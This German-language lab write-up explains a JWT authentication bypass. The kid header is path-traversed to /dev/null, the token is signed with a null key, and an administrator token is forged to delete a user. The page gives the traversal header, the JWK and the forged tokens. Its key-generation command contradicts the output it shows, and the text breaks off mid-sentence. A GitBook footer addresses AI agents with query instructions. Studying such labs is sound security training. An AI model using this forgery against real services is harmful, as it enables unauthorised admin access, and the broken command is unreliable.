> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md).

# JWT-Authentifizierungsumgehung durch kid-Pfad-Traversal

### JWT-Authentifizierungsumgehung mittels Path Traversal im kid-Header

#### Laborkontext

Die Anwendung verwendet JWT zur Verwaltung von Sitzungen. Um die Signatur zu prüfen, liest der Server den Header des JWT aus und ermittelt den Prüfschlüssel aus dem **Dateisystem** basierend auf dem Wert des `kid` Felds (Key ID). / Problem: Der `kid` Wert wird nicht ordnungsgemäß validiert, wodurch eine **Pfad-Durchquerung** dazu verwendet werden kann, auf eine beliebige Systemdatei zu verweisen.

Zweck: Fälsche ein JWT, das Zugang zu `/admin`, dann lösche Benutzer **carlos**.

#### Ausgangspunkt

Nach der Verbindung mit `wiener:peter`, erhältst du ein gültiges JWT:

* Header : `alg = HS256`, `kid = <uuid>`
* Payload : `sub = wiener`

```bash
eyJraWQiOiIxZmM4YzUzYS1mMzMwLTRhNGMtODFkOC01ZjNlOGRmMzNkNWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoid2llbmVyIn0.qFrtPadwDKEghfc4hGLNhDQolFAJ6rvPW22120KEGHU
```

<figure><img src="/files/37b321b51b7978d56661263cd81c3e1cbb07757a" alt=""><figcaption></figcaption></figure>

#### Angriffsidee

Während `kid` als Pfad zum Laden des Schlüssels dient, können wir versuchen, ihn mit `../` aus dem erwarteten Verzeichnis heraus auf eine spezielle Datei zu lenken: **`/dev/null`**.

* `/dev/null` verhält sich als „leere“ Datei.
* Wenn der Server den Schlüssel aus dieser Datei lädt, stellt er (in diesem Szenario) fest, dass die Signatur mit einem Schlüssel geprüft wird, der äquivalent zu **null / leer**.

<figure><img src="/files/1fffe30bab7618e289ce97a3fad190750a59ddcb" alt=""><figcaption></figcaption></figure>

#### Erzeugung eines symmetrischen Schlüssels

Du erzeugst ein Nullbyte und kodierst es in Base64:

* Befehl:

```bash
echo -ne '/0' | base64

AA==
```

Dann erstellst du ein symmetrisches JWK (`kty: oct`) dessen Schlüssel (`k`) ist `AA==`:

```json
{
    "kty": "oct",
    "kid": "9c48f618-fb2c-4bf6-85f6-7cb92c0cfa1c",
    "k": "AA=="
}
```

(Das JWK `kid` dient hier nur als toolseitige Kennung; Dies ist der `k` Wert.)

<figure><img src="/files/bb15b28bde765bc51829ab0832c07d1e4354ffec" alt=""><figcaption></figcaption></figure>

#### Ausnutzung: `kid` Traversal zu `/dev/null`

Du änderst dann den Header des JWT, um auf `kid` zu `/dev/null` via Pfad-Durchquerung:

```json
{
    "kid": "../../../../../../../../dev/null",
    "alg": "HS256"
}
```

Dann änderst du den `sub` im Payload so, dass er zu einem Administratorkonto wird (in deinem Fall `Administrator`) und du signierst das JWT in HS256 mit dem „Null“-Schlüssel (`AA==`).

<figure><img src="/files/ee017c7976ba33007034475679c5407b3a3e8120" alt=""><figcaption></figcaption></figure>

#### Ergebnis

Fälschtes endgültiges JWT (dasjenige, das du vorlegst):

* `kid` durchläuft bis `/dev/null`
* `alg` bleibt `HS256`
* `sub` wird zu `Administrator`

```bash
eyJraWQiOiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.mSLXreEdgmhgAPOPLS9-j7A1VUiRjK-DA1YvGzqsxOo
```

<figure><img src="/files/f778430725641c278acf32c54056a05f3e441305" alt=""><figcaption></figcaption></figure>

Der Server \*\*akzeptiert\*\* das Token: Er bestätigt, dass die `kid` Auflösung nutzbar ist und dass die Signaturprüfung mit einem aus der Zieldatei abgeleiteten Schlüssel erfolgt (hier

<figure><img src="/files/a8c4b09638f736c330b6a8d9e361913696854dfb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
